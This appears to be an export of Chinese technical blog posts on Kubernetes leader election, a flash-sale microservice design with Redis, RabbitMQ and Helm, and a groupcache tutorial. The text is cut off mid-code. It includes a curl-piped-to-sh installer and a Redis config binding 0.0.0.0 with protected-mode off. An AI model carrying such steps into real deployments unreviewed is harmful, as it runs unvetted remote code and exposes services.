程序的入参包括：\nkubeconfig：集群kubeconfig文件路径 lease-lock-name：租赁锁名称 lease-lock-namespace：租赁锁所在的命名空间 id：程序实例的id，每个运行的程序都需要有唯一的id go run main.go -kubeconfig=/path/to/kubeconfig -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=1 go run main.go -kubeconfig=/path/to/kubeconfig -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=2 go run main.go -kubeconfig=/path/to/kubeconfig -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=3 go run cmd/lead/main.go -kubeconfig=/Users/vincent/Documents/work/ai-poc.yaml -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=1 go run cmd/lead/main.go -kubeconfig=/Users/vincent/Documents/work/ai-poc.yaml -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=2 go run cmd/lead/main.go -kubeconfig=/Users/vincent/Documents/work/ai-poc.yaml -logtostderr=true -lease-lock-name=example -lease-lock-namespace=default -id=3 启动3个实例 相继执行命令，得到以下输出\n# id=1 I0507 09:46:16.357422 3102 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:16.425337 3102 leaderelection.go:258] successfully acquired lease default/example I0507 09:46:16.425443 3102 main.go:71] Controller loop... # id=2 I0507 09:46:41.761138 3166 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:41.802702 3166 main.go:135] new leader elected: 1 # id=3 I0507 09:46:51.877957 3223 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:51.913119 3223 main.go:135] new leader elected: 1 可见id=1的实例当选领导者。此时我们在kubeconfig指定的集群里，执行kubectl get leases -n default example -oyaml 可以看到Lease对象被创建，并且在spec中包括了租期获取时间、到期时间、当前保存的id等信息。\napiVersion: coordination.k8s.io/v1 kind: Lease metadata: creationTimestamp: \u0026#34;2024-05-07T01:46:16Z\u0026#34; name: example namespace: default resourceVersion: \u0026#34;2113597\u0026#34; uid: baad0d51-7676-4e7a-83fc-44241e7a8185 spec: acquireTime: \u0026#34;2024-05-07T01:46:16.357501Z\u0026#34; holderIdentity: \u0026#34;1\u0026#34; leaseDurationSeconds: 60 leaseTransitions: 0 renewTime: \u0026#34;2024-05-07T02:02:27.633970Z\u0026#34; 关闭主程序，触发领导权变更 # id=1 I0507 09:46:16.357422 3102 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:16.425337 3102 leaderelection.go:258] successfully acquired lease default/example I0507 09:46:16.425443 3102 main.go:71] Controller loop... # ---new--- ^CI0507 10:05:03.735993 3102 main.go:88] Received termination, signaling shutdown I0507 10:05:03.752979 3102 main.go:126] leader lost: 1 # id=2 I0507 09:46:41.761138 3166 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:41.802702 3166 main.go:135] new leader elected: 1 # ---new--- I0507 10:05:08.209963 3166 main.go:135] new leader elected: 3 # id=3 I0507 09:46:51.877957 3223 leaderelection.go:248] attempting to acquire leader lease default/example... I0507 09:46:51.913119 3223 main.go:135] new leader elected: 1 # ---new--- I0507 10:05:07.193674 3223 leaderelection.go:258] successfully acquired lease default/example I0507 10:05:07.194014 3223 main.go:71] Controller loop... 可以发现id=3的程序被选为了领导者，此时查看leases对象，发现holderIdentity已经变更为3，且leaseTransitions被加一。\napiVersion: coordination.k8s.io/v1 kind: Lease metadata: creationTimestamp: \u0026#34;2024-05-07T01:46:16Z\u0026#34; name: example namespace: default resourceVersion: \u0026#34;2114958\u0026#34; uid: baad0d51-7676-4e7a-83fc-44241e7a8185 spec: acquireTime: \u0026#34;2024-05-07T02:05:07.154433Z\u0026#34; holderIdentity: \u0026#34;3\u0026#34; leaseDurationSeconds: 60 leaseTransitions: 1 renewTime: \u0026#34;2024-05-07T02:11:14.792591Z\u0026#34; 分析主程序 下面给出了程序的主流程，可以发现核心代码非常短小，对业务流程的侵入性也很小，只需要将业务逻辑放在LeaderCallbacks的函数中即可。流程如下：\n初始化client-go 定义核心业务逻辑 定义LeaseLock 定义LeaderElectionConfig，并进入主流程 func main() { // ...折叠初始化 // 通过kubeconfig获取client-go示例 client := clientset.NewForConfigOrDie(config) // 定义核心业务逻辑 run := func(ctx context.Context) { klog.Info(\u0026#34;Controller loop...\u0026#34;) select {} } // 定义租约锁 lock := \u0026amp;resourcelock.LeaseLock{ LeaseMeta: metav1.ObjectMeta{ Name: leaseLockName, Namespace: leaseLockNamespace, }, Client: client.CoordinationV1(), LockConfig: resourcelock.ResourceLockConfig{ Identity: id, }, } // 开始主循环 leaderelection.RunOrDie(ctx, leaderelection.LeaderElectionConfig{ Lock: lock, ReleaseOnCancel: true, LeaseDuration: 60 * time.Second, RenewDeadline: 15 * time.Second, RetryPeriod: 5 * time.Second, Callbacks: leaderelection.LeaderCallbacks{ OnStartedLeading: func(ctx context.Context) { run(ctx) }, OnStoppedLeading: func() { klog.Infof(\u0026#34;leader lost: %s\u0026#34;, id) os.Exit(0) }, OnNewLeader: func(identity string) { if identity == id { return } klog.Infof(\u0026#34;new leader elected: %s\u0026#34;, identity) }, }, }) } LeaseLock中定义了Lease的name和namespace、用于增删改查Lease的Client以及id\nlock := \u0026amp;resourcelock.LeaseLock{ LeaseMeta: metav1.ObjectMeta{ Name: leaseLockName, Namespace: leaseLockNamespace, }, Client: client.CoordinationV1(), LockConfig: resourcelock.ResourceLockConfig{ Identity: id, }, } LeaderElectionConfig定义了选主配置，包括租赁锁、租期过期时间、回调函数等\nleaderelection.LeaderElectionConfig{ // 传入LeaseLock Lock: lock, // 是否在context被cancel时释放租赁锁 ReleaseOnCancel: true, // 当候选者观察到领导者未及时更新租期时间时，强制获取领导权需要等待的时间 LeaseDuration: 60 * time.Second, // 领导者重新声明领导权的持续时间 RenewDeadline: 15 * time.Second, // 候选者重试周期 RetryPeriod: 5 * time.Second, Callbacks: leaderelection.LeaderCallbacks{ // 当选领导者时触发的回调 OnStartedLeading: func(ctx context.Context) { run(ctx) }, // 失去领导权时触发的回调 OnStoppedLeading: func() { klog.Infof(\u0026#34;leader lost: %s\u0026#34;, id) os.Exit(0) }, // 领导权变更时触发的回调 OnNewLeader: func(identity string) { if identity == id { return } klog.Infof(\u0026#34;new leader elected: %s\u0026#34;, identity) }, }, } LeaderElector核心流程 程序启动，获取领导选举记录 根据记录中的内容做不同操作 若记录不存在或记录中的领导权已过期，则尝试获取领导权 若记录中的领导权归属于自身（通过id判断），则刷新领导权。否则，说明有一个leader持有领导权，在等待RetryPeriod后，重新尝试获取记录。 领导权成功转移/续期后 领导者：调用OnStart回调，执行业务逻辑，同时按照RetryPeriod的间隔，不间断地续期领导权 候选者：按照RetryPeriod的间隔，不断获取领导选举记录，查看领导权是否过期（说明领导者出现了某些意外，无法正常完成需求操作），若领导权过期，则尝试获取，进而成为领导者。 由于Kubernetes对资源有乐观锁的并发控制，如果同时有多个候选者试图获取锁，那么只有一个候选者会成功，其余候选者将返回失败并在等待RetryPeriod后重新获取领导权记录。\n服务路由 若通过leader election的方式提高应用的可用性，则服务路由与常规的多实例应用不同，部分或全部请求只能被发送到leader。为了实现这样的流量控制需要一下额外的手段，比如利用Pod 就绪探针（Readiness Probe）、手动修改Service和Endpoint、应用间流量转发等\nPod就绪探针 就绪探针文档\nKubernetes只会将处于ready状态的pod加入到endpoint列表，并将对service的流量转发到列表中的pod。因此我们可以在程序中配置就绪探针，并且仅当获取领导权后才上报程序处于ready状态。这样流量只会被转发到leader。\n优点 简单，易于实现，只需要提供一个简单http接口 缺点 无法正常进行deployment的滚动更新 手动修改Service和Endpoint 没有选择算符的 Service\n使用没有选择算符的 Service 我们可以手动操作Service对应的endpoint，进而控制流量只被转发到leader。每当一个候选者获取领导权变为领导者时，需要修改EndpointSlice中的ip地址为自身的地址。\napiVersion: v1 kind: Service metadata: name: my-service spec: type: NodePort ports: - name: http nodePort: 32088 port: 8000 protocol: TCP targetPort: http --- apiVersion: discovery.k8s.io/v1 kind: EndpointSlice metadata: name: my-service-1 labels: kubernetes.io/service-name: my-service addressType: IPv4 ports: - name: \u0026#39;http\u0026#39; # 应与上面定义的服务端口的名称匹配 appProtocol: http protocol: TCP port: 8000 endpoints: - addresses: - \u0026#34;192.168.127.152\u0026#34; 优点： 灵活，可以同时存在一个普通service和一个没有选择算符的 Service，实现全部实例可读，仅leader可写的效果 缺点： 就绪探针失效，无论pod是否ready，流量都将被转发到EndpointSlice指定的地址 应用间流量转发 对于请求量较小、请求体不大、不需要持久化连接（如websocket）的情况下，可以考虑直接将leader才能处理的请求从其他实例转发到leader。我们可以将pod的ip作为lease中的holderIdentity，其他实例感知到leader变更后，可以直接通过id来确定leader id。或者使用statefulset的形式部署应用，使用statefulsets稳定的dns名称确定leader的地址。\n优点： 灵活，同样可以实现全部实例可读，仅leader可写的效果 对客户端来说，无感知应用内部架构 缺点： 对业务代码入侵较大 总结 我们首先介绍了client-go leader election所依赖的Lease资源和Kubernetes乐观锁机制。\nLease资源：一种用于领导者选举或协调访问集群共享资源的资源对象 Kubernetes乐观锁机制：通过资源版本号来控制并发更新，确保在资源被修改期间数据不会因并发操作而产生冲突。 client-go提供的 leader election使 候选者不断轮询领导权记录，领导者不断续期领导权来维持心跳，进而维持领导者权限归属。领导权记录可以借助lease、configmap或endpoint资源对象。\n参考 k8s-await-election：client-go leader election的封装 kubernetes简单的leader election：提供leader election镜像，以sidecar的形式完成选主逻辑，对业务逻辑侵入小，并且不依赖于主应用语言。 ","date":"2024-05-09T20:20:45+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/leader-election/assets/image-20240509111026575_hu_33cda7f93ffde9a4.png","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/leader-election/","title":"Kubernetes leader election 使用"},{"content":"对于 在nat网关下的2台设备，如何相互传输数据？最常见的方法就是就是使用一个中继服务器，例如frp。\nsyncthing是一个文件同步\n方法 在这篇文章中，已经说明了为什么使用syncthing公开中继服务器传输数据，不在赘述\n发现协议 在syncthing中，分别使用了全局发现协议和本地发现协议，我们仅实现其中的发现协议，实现代码参考syncthing源码\n协议详情链接\n中继协议 中继协议\n","date":"2022-07-16T10:58:38+08:00","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/80d1049a/","title":"xclipboard 剪切板同步工具"},{"content":"微服务架构设计 微服务是一种开发软件的架构和组织方法，其中软件由通过明确定义的 API 进行通信的小型独立服务组成。这些服务可以由各个小型独立团队负责。微服务架构使应用程序更易于扩展和更快地开发。 \u0026mdash;AWS\n系统一共使用了如下5个微服务，相互直接通过grpc直接通信，或通过中间件间接传递数据。\n用户(user)\n登录 注册 刷新token 秒杀(spike)\n获取秒杀token 秒杀 与准入服务通信，确认用户是否有资格参与活动 将订单减扣的消息发送到消息队列 准入(access)\n对指定的秒杀，根据灵活的规则配置来判断用户是否有资格参与活动 管理(admin)\n管理秒杀活动(CRUD) 订单(order)\n查询订单 付款 或 取消订单 接收消息队列的消息，生成订单插入数据库 使用的中间件\nMysql 数据库 Redis 缓存 Rabbitmq 消息队列 用户正常秒杀流程\n登录，获取jwt token，token中保存用户id，后续请求需要携带token 通过前端页面点击秒杀预览，后端验证用户参入资格，准入则进入活动详情页 到达秒杀预设时间，点击秒杀按钮，前端发起两个请求 获取秒杀活动的随机token 使用token访问后端秒杀接口 若抢到，则前端轮询等待订单生成（因为订单生成是异步的） 并发优化 多级缓存 秒杀系统是一个典型的读多写少应用，1万个人抢100个商品，最后可以做的写操作只有100次，而读取可能几倍于用户数。所以使用缓存可以极大提升系统并发性能\n执行环境本地缓存 使用了go-cache库，和go本身提供的map相比，它提供了过期时间和并发安全的特性。\n准入服务中，缓存了 被构建的过滤器，这样在流量高峰到来时不需要重复构建过滤器\nfilterCache = cache.New(5*time.Minute, 10*time.Minute) filterCache.Set(req.SpikeId, ft, cache.DefaultExpiration) f, isFound := filterCache.Get(req.SpikeId) 在秒杀服务中，缓存了 秒杀url随机token，而不需要每次都到redis获取，减轻redis压力，并减少网络消耗，加快处理时间\nspikeUtilCache = cache.New(10*time.Minute, 20*time.Minute) type spikeUtil struct { token string limiter *rate.Limiter } redis缓存 在准入服务当中，将准入服务的结果缓存到redis，基于以下两点：\n准入结果在短时间内不会变化 对于某个用户，在短时间内可能多次使用到准入服务，(如反复进入秒杀界面，多次点击秒杀按钮) redisx.SetAccess(ctx, redisId, map[string]string{\u0026#34;result\u0026#34;: strconv.FormatBool(res), \u0026#34;reason\u0026#34;: reason}, time.Second*30) 在秒杀服务中缓存 秒杀url随机token，若未在本地成功获取到token则在redis中获取\nrandStr, err = redisx.Get(c, redisx.RandKey+spikeId) CDN缓存 未实现\n前端文件大多是静态文件，可以将其放置在云服务提供商提供的CDN服务上，来减轻流量高峰期的服务器压力，减少带宽压力，加快用户页面加载速度\n多级流量过滤 对于秒杀服务来说，大多数请求最终都是失败的，要尽早抛弃，以减轻后端压力\n令牌桶(本地环境) 对于每次秒杀活动，都会在每个秒杀服务实例本地环境创建一个令牌桶\nsu := \u0026amp;spikeUtil{ token: \u0026#34;\u0026#34;, limiter: rate.NewLimiter(defaultLimit, defaultMaxRequestNum), } 对于超出库存量2倍的请求，直接返回503\n库存判断(redis)\n成功进入秒杀接口的请求，会首先进行库存的判断，不足则直接返回\nif getRestStock(c, spikeId) \u0026lt;= 0 { c.JSON(200, gin.H{\u0026#34;status\u0026#34;: \u0026#34;fail\u0026#34;, \u0026#34;msg\u0026#34;: \u0026#34;sold out\u0026#34;}) return } 准入判断(db/redis)\n调用准入服务rpc，对不准入的用户请求进行拦截\naccessible, err := client.IsAccessible(c, \u0026amp;access.AccessReq{ UserId: user.ID, SpikeId: spikeId, }) if !accessible.Result { c.JSON(403, gin.H{\u0026#34;error\u0026#34;: \u0026#34;no access: \u0026#34; + accessible.Reason}) return } 订单判断(db)\nres, err := db.InsertOrderAffair(order) 在插入订单时，会将订单是否已经存在的判断加入其中，组成一个事务\n可以发现，请求过滤时，将代价越小的判断放置在了前面，这样充分利用了业务特性减轻服务器压力\nredis分布式锁 在此设计当中许多微服务之间的通信/同步都是由中间件来完成的，redis作为一个单线程的应用(暂不考虑集群部署的情况)，天生没有并发问题\n秒杀url随机token\n由于改token是lazy load的，需要第一个拿到锁的协程进行初始化\nok, err := redisx.SetNX(c, redisx.RandKey+s.ID, randStr, s.EndTime.Sub(time.Now())) 使用了redis的SetNX功能，当key不存在时，写入值，否则失败\n库存初始化\n与token初始化同理\nok, err := redisx.SetNX(ctx, redisx.SpikeStoreKey+spikeId, numStr, s.EndTime.Sub(time.Now())) 加减预扣库存lua脚本\nif (redis.call(\u0026#39;exists\u0026#39;, KEYS[1]) == 1) then local stock = redis.call(\u0026#39;get\u0026#39;, KEYS[1]); if (stock - KEYS[2] \u0026gt;= 0) then local leftStock = redis.call(\u0026#39;DecrBy\u0026#39;, KEYS[1], KEYS[2]); return leftStock; end; return -1; end; return -1; redis支持lua脚本，lua脚本中的命令将被视为一个整体运行，所以我们可以将其看作一个简单的事务\n如此保证了数据访问的互斥性，不会出现超卖\n消息队列 秒杀系统的典型特征之一就是短时间的瞬时流量，会导致数据库访问压力骤增，为此，我们使用了rabbitmq消息队列，来让这些流量平滑流到数据库中，起到削峰填谷的作用，异步化用户请求\n// 生产者 err = sender.Publish(\u0026amp;order.OrderInfo{ UserId: user.ID, SpikeId: spikeId, Quantity: 1, }) // 消费者 func dealMqOrder(ch \u0026lt;-chan *order.OrderInfo) { go func() { for info := range ch { // 判断订单是否存在 o := \u0026amp;orm.Order{ UserID: info.UserId, SpikeID: info.SpikeId, Quantity: int(info.Quantity), State: orm.OrderOrdered, CreateTime: time.Now(), } res, err := db.InsertOrderAffair(o) log.Println(\u0026#34;success create id: \u0026#34; + o.ID) } }() } singleflight 在初始化库存或者随机url token时，都需要访问数据库获取spike数据，因为此时redis为空，在并发的流量下，会导致众多的请求打到数据库(缓存击穿)导致数据库崩溃，而且从逻辑上考虑，每个请求访问的其实是相同的数据，完全可以做到复用请求的结果。因此使用singleflight\nspike, err := loader.Do(spikeId, func() (interface{}, error) { spike, err := db.GetSpikeById(spikeId) if err != nil { return nil, err } return spike, nil }) 构建\u0026amp;部署 kubernetes \u0026amp; helm 部署 kubernets\nKubernetes是一个开源的，用于管理云平台中多个主机上的容器化的应用，Kubernetes的目标是让部署容器化的应用简单并且高效（powerful）,Kubernetes提供了应用部署，规划，更新，维护的一种机制。 \u0026mdash;k8s中文社区\n我们的微服务完全运行在容器化的环境中，核心程序都被部署到k8s中，中间件(mysql、redis、rabbitmq)不在k8s中运行(但在docker中)\n容器化的环境抹平不同操作系统、硬件架构上的差异，让应用可以轻松运行。\nk8s提供了重要的服务发现、负载均衡、流量转发等功能。\n由于没有多台机器运行一个标准的Kubernetes，我们使用了更为轻量的k3s(一个符合Kubernetes标准的发行版)\nkubernets 安装\n只需要一行命令即可启动一个单节点的k3s\ncurl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh - 再安装一些辅助工具\nsnap install kubectl --classic snap install helm --classic helm\nHelm 帮助您管理 Kubernetes 应用—— Helm Chart，即使是最复杂的 Kubernetes 应用程序，都可以帮助您定义，安装和升级。\n\u0026mdash;helm官网\n如果将k8s看作一个操作系统(如ubuntu)，那么helm可以看成这个操作系统的包管理器(如ubuntu的apt)。helm可以帮助定义、部署、升级一个k8s应用，还提供了诸如金丝雀发布这样的高级功能\nhelm chart中使用了\n5个deployment，分别对应5个微服务 5个service，分别对应5个deployment 1个statefulset，启动了1个nginx，让用户可以访问前端文件 1个configmap，为服务提供配置文件，并且支持热更新 ingress，提供路由转发和负载均衡功能，将用户的请求，通过路径区别分发到对应的微服务 k3s默认使用traefik，提供了轮询负载均衡 在value.yaml中，只要定义好微服务的镜像启动命令和参数，已经服务端口，即可创建对应的deployment、service\nmicroservices: - name: access-service replicaCount: 1 image: registry.cn-qingdao.aliyuncs.com/adpc/spike-access-service:latest command: - /access-service - --rpc-port=8081 - --config-path=/configs/config.yaml service: - 8081 - name: spike-service replicaCount: 2 image: registry.cn-qingdao.aliyuncs.com/adpc/spike-spike-service:latest command: - /spike-service - --port=8080 - --config-path=/configs/config.yaml - --access-endpoint=spike-access-service.default.svc:8081 service: - 8080 # ... 在ingress中定义了host，已经路径、对应的服务和端口\napiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: spike-backend-ingress annotations: kubernetes.io/ingress.class: \u0026#34;traefik\u0026#34; spec: rules: - host: spike.vinf.top http: paths: - path: /users pathType: Prefix backend: service: name: spike-user-service port: number: 8080 - path: /spike pathType: Prefix backend: service: name: spike-spike-service port: number: 8080 # ... 将helm chart上传到服务器后，运行helm install即可部署\nhelm install spike spike-chart-latest.tar.gz docker image 构建 FROM golang:1.17 as builder WORKDIR /app COPY go.mod ./ COPY go.sum ./ RUN go env -w GOPROXY=https://goproxy.cn,direct RUN go mod download COPY cmd/ cmd/ COPY internal/ internal/ COPY pkg/ pkg/ RUN mkdir -p \u0026#34;bin\u0026#34; \u0026amp;\u0026amp; \\ go build -o bin/access-service cmd/access/main.go \u0026amp;\u0026amp; \\ go build -o bin/spike-service cmd/spike/main.go \u0026amp;\u0026amp; \\ go build -o bin/user-service cmd/user/main.go \u0026amp;\u0026amp; \\ go build -o bin/admin-service cmd/admin/main.go \u0026amp;\u0026amp; \\ go build -o bin/order-service cmd/order/main.go # access FROM debian as access WORKDIR / COPY --from=builder /app/bin/access-service / USER root # ... dockerfile中使用了golang:1.17作为第一层镜像，将go.mod复制到环境，并运行go mod download自动下载依赖 复制代码文件 运行go build 使用debian作为发布镜像，将编译后的可执行文件复制到debian镜像中，这样可以极大减小最终镜像的尺寸 为了方便，编写了一个简单的makefile，只需要运行如下命令就可以自动完成构建和上传镜像\nmake build_push 中间件部署 mysql docker run -d --restart=always --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=\u0026lt;passwd\u0026gt; mysql redis 写入/root/redis.conf\nbind 0.0.0.0 daemonize NO protected-mode no requirepass \u0026lt;passwd\u0026gt; docker run -d --restart=always --name redis -p 6379:6379 -v /root/redis.conf:/etc/redis/redis.conf -d redis /etc/redis/redis.conf rabbitmq docker run -d --restart=always --name rabbitmq -p 15672:15672 -p 5672:5672 -e RABBITMQ_DEFAULT_USER=\u0026lt;username\u0026gt; -e RABBITMQ_DEFAULT_PASS=\u0026lt;passwd\u0026gt; rabbitmq:management ","date":"2022-06-07T17:20:45+08:00","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/spike/","title":"秒杀微服务设计"},{"content":"缓存 缓存原理与作用 起初缓存(cache)指的是在cpu和内存之间放置一个更高速的储存器(但更小也更昂贵)，如果数据因之前的操作已经读取而被暂存其中，则下一次访问的开销会小很多。原理基于\u0026quot;程序执行与数据访问的局域性行为\u0026quot;，又分为\n时间局部性，刚刚被访问的数据，有更大的概率被访问 空间局部性，在被访问数据附近的数据，更可能被访问 import \u0026#34;testing\u0026#34; func TestI(t *testing.T) { var arr [10000][10000]int sum := 0 for i := 0; i \u0026lt; len(arr); i++ { for j := 0; j \u0026lt; len(arr[0]); j++ { sum += arr[i][j] } } } func TestJ(t *testing.T) { var arr [10000][10000]int sum := 0 for j := 0; j \u0026lt; len(arr[0]); j++ { for i := 0; i \u0026lt; len(arr); i++ { sum += arr[i][j] } } } 测试结果：\n=== RUN TestI --- PASS: TestI (0.04s) === RUN TestJ --- PASS: TestJ (0.40s) PASS 故意使得局部性失效时，程序运行效率变慢了10倍，可见缓存对性能有着很大提升。\n现如今，缓存的概念已经被扩展，不仅仅存在与cpu中。比如\n硬盘和内存之间的缓存(硬盘缓存)\n硬盘和网络之间也存在缓存关系(浏览器会缓存网络资源，比如图片)\nDNS系统中，下级dns系统会缓存最近的查询，加速dns查询\ngroupcache被用来当作数据库/文件缓存。\n缓存替换策略 wiki 缓存替换策略\n缓存主要有2个质量因素：延迟和命中率。\n为了提高命中率需要收集并维护更多的信息，而这会导致缓存的延迟增加，每个替换策略都是命中率和延迟之间的折中。\n常见的缓存替换策略\n随机替换 RR 先进先出 FIFO 最近最少使用 LRU 最少使用 LFU，与LRU不同，基于频率统计 缓存一致性 2个缓存中都持有内存数据的副本，当一个缓存中数据被更改，另一个却得不到通知，缓存不一致。\n解决一致性的方法\n写无效 ​\t当某处的缓存被更新时，所有其他位置的缓存均无效\n写更新 ​\t当缓存更新时，一并更新所有缓存副本\n缓存问题名词解释\n缓存穿透 查询一个数据库和缓存均没有数据 缓存击穿 未缓存的数据短时间被高并发访问，导致大量请求穿透缓存层，直接打到数据库 缓存雪崩 大量数据在短时间内过期，大量请求落到数据库 Simple Groupcache groupcache是一个用go编写的高效的缓存库，旨在在某些场景下代替memcached。\ngroupcache最大的特点是它不提供主动取消缓存的方法(也无法主动更新)。这样的设计使得它只适合静态资源的缓存，优点是简化了设计，提高了效率。\nLRU缓存更新策略 热点数据多点缓存 未命中的缓存，加锁请求，防止多个重复请求击穿 使用protobuf的高效节点间通信 支持单机/分布式缓存 LRU 实现 使用一个双链表和一个哈希表实现可以LRU。\nget\n使用key查找map，获取到链表节点 通过链表节点获取值 put\n使用key查找map 存在：更新值，返回 容量溢出？ 是：清除最近最少使用的缓存数据(链表头部) new链表节点，插入到链表尾部 将链表节点插入到map中 为什么在链表中存储键值对而不是单纯的值？\n为了实现反向由链表找到map中存的链表节点。否则在删除最近最少使用的缓存数据时无法同步删除map中的值\nleetcode LRU算法实现\nimport \u0026#34;container/list\u0026#34; const NotFind = -1 type LRUCache struct { // 容量，用key的数量简单表示 capacity int // 链表用以维护最近最少使用的信息，最新访问过的数据被移动到队列尾部 ll *list.List // 从key到链表元素的映射 cache map[int]*list.Element } // 键值对 type entry struct { key int value int } func Constructor(capacity int) LRUCache { return LRUCache{ capacity: capacity, ll: list.New(), cache: make(map[int]*list.Element, capacity), } } func (c *LRUCache) Get(key int) int { // key存在，将对应的键值对移动到链表尾部 if ele, ok := c.cache[key]; ok { c.ll.MoveToBack(ele) kv := ele.Value.(*entry) return kv.value } return NotFind } func (c *LRUCache) Put(key int, value int) { // key已经存在，更新值 if ele, ok := c.cache[key]; ok { kv := ele.Value.(*entry) kv.value = value c.ll.MoveToBack(ele) return } // key不存在 // 容量已满删除链表头部元素 for len(c.cache) \u0026gt;= c.capacity { e := c.ll.Front() c.ll.Remove(e) delete(c.cache, e.Value.(*entry).key) } // 插入链表尾部 e := c.ll.PushBack(\u0026amp;entry{ key: key, value: value, }) c.cache[key] = e } 缓存数据抽象 type ByteView struct { data []byte } func (v ByteView) Len() int { return len(v.data) } func (v ByteView) ByteSlice() []byte { cp := make([]byte, v.Len()) copy(cp, v.data) return cp } groupcache原设计中，ByteView同时维护了一个字符串和一个字节数组(同一时刻只要一个有效，另一个为空)，这样抹平了string和[]byte的差距，且为了防止直接从缓存中返回的切片(内部的数组)被外部更改，使用ByteSlice()拷贝了一份数据，并返回，使得缓存内部数据对外只读。\n并发访问 使用sync.Mutex封装lru，使其支持并发访问\n// 对lru进行封装使其支持并发读写 type cache struct { mu sync.Mutex lru *lru.Cache // 直接用键值对数量来限制缓存大小，实际应该统计key value的内存占用 maxEntries int } func (c *cache) add(key string, value ByteView) { c.mu.Lock() defer c.mu.Unlock() // 延迟初始化 if c.lru == nil { c.lru = lru.New(c.maxEntries) } c.lru.Put(key, value) } func (c *cache) get(key string) (value ByteView, ok bool) { c.mu.Lock() defer c.mu.Unlock() if c.lru == nil { return } v, ok := c.lru.Get(key) if !ok { return } return v.(ByteView), ok } 源数据获取 groupcache与memcache、redis的一大不同之处在于，它并不是以一个单独的服务运行，而是作为一个库嵌入到代码中，既作为服务器，也作为客户端。所以在获取数据的方式上，它定义了一个接口，类似下面这样。当缓存被使用时，发现数据不存在，则调用下面的接口获取源数据缓存。\ntype Getter interface { Get(ctx context.Context, key string) ([]byte, error) } type GetterFunc func(ctx context.Context, key string) ([]byte, error) func (f GetterFunc) Get(ctx context.Context, key string) ([]byte, error) { return f(ctx, key) } 这里使用了go的接口型函数编码技巧。如果直接定义一个Getter接口，则需要我们定义一个空结构体实现Getter方法，并使用。而通过如上的代码，我们可以同时使用结构体/函数作为参数，大大方便了接口的使用\ntype T struct { getter Getter } // 直接显示类型转换使用函数 t1 := \u0026amp;T{getter: GetterFunc(func(ctx context.Context, key string) ([]byte, error) { return []byte{}, nil })} // 或是使用符合接口的结构体 type G struct{} func (g G) Get(ctx context.Context, key string) ([]byte, error) { return []byte{}, nil } t2 := \u0026amp;T{ getter: G{}, } Group group是提供服务的核心结构体，起到管理缓存，区分命名空间，联系对等点获取数据等作用。\n全局变量管理多个group\nvar ( mu = sync.RWMutex{} groupMap = make(map[string]*Group) ) // A Group is a cache namespace and associated data loaded spread over type Group struct { name string getter Getter mainCache *cache // groupcache还提供了热点数据多点缓存的功能 // hotCache *cache } group的结构：\n缓存逻辑：\n缓存命中的情况下直接返回结果。当缓存未命中，会从对等点或者用户设置的getter出获取数据。节点的选择通过一致性哈希算法实现，如果key被分配到了当前节点，节点会通过getter获取数据并缓存，否则就直接从对等点处获取直接返回。\n一致性哈希 一致哈希 是一种特殊的哈希算法。在使用一致哈希算法后，哈希表槽位数（大小）的改变平均只需要对 k/n个关键字重新映射，其中 k是关键字的数量，n是槽位数量。然而在传统的哈希表中，添加或删除一个槽位的几乎需要对所有关键字进行重新映射。 \u0026ndash;wiki\n如果在节点选择中，采用普通哈希，则缓存会在节点数量变更时几乎全部失效，导致后端压力激增。\n一致哈希尽可能使同一个资源映射到同一台缓存服务器。这种方式要求增加一台缓存服务器时，新的服务器尽量分担存储其他所有服务器的缓存资源。减少一台缓存服务器时，其他所有服务器也可以尽量分担存储它的缓存资源。 一致哈希算法的主要思想是将每个缓存服务器与一个或多个哈希值域区间关联起来，其中区间边界通过计算缓存服务器对应的哈希值来决定。\nvar hash = crc32.ChecksumIEEE type Map struct { // 在节点数量比较少的时候，容易出现节点映射不均衡的现象，可以插入多个虚拟节点 replicas int // 虚拟节点hash值对应的实际节点 hashMap map[int]string // 虚拟节点的哈希值，需要排序 // 通过二分查找更快找到 目标key 所归属的节点 keys []int } func New(replicas int) *Map { return \u0026amp;Map{ replicas: replicas, hashMap: make(map[int]string), keys: []int{}, } } func (m *Map) AddNode(keys ...string) { for _, key := range keys { for i := 0; i \u0026lt; m.replicas; i++ { // 拼接编号和节点名称，获得hash值 h := int(hash([]byte(strconv.Itoa(i) + key))) // 插入map和keys中 m.hashMap[h] = key m.keys = append(m.keys, h) } } // 排序 sort.Ints(m.keys) } func (m *Map) Get(key string) string { h := int(hash([]byte(key))) idx := sort.Search(len(m.keys), func(i int) bool { return m.keys[i] \u0026gt;= h }) // 因为是个环，下标等于长度时，就折回到0，归属0号节点 if idx == len(m.keys) { idx = 0 } return m.hashMap[m.keys[idx]] } HTTP服务器\u0026amp;客户端 每一个节点既是服务器又是客户端，节点都开启一个http服务。\n在实现http服务之前，我们需要先抽象 节点选择接口 和 节点数据获取接口\ntype PeerGetter interface { Get(cxt context.Context, group string, key string) ([]byte, error) } type PeerPicker interface { PickPeer(key string) (peer PeerGetter, ok bool) } type Group struct { // 节点选择接口 peers PeerPicker ...... } 对于group，我们需要依赖一个实现PeerPicker接口的实例，来选择对等点获取一个PeerGetter实例，并调用Get方法，完成从对等点获取数据的能力。\n接下来实现http服务器和客户端。服务器实现PeerPicker，客户端实现PeerGetter。而如果我们需要实现rpc通信，只需要修改这两个接口对应的实现，非常方便\nconst ( defaultBasePath = \u0026#34;/cache/\u0026#34; defaultReplicas = 50 ) type HTTPPool struct { basePath string self string // 节点选择功能 mu sync.Mutex peers *consistenthash.Map httpGetters map[string]*httpGetter } func NewHTTPPool(self string, path string) *HTTPPool { p := \u0026amp;HTTPPool{ self: self, mu: sync.Mutex{}, } if path != 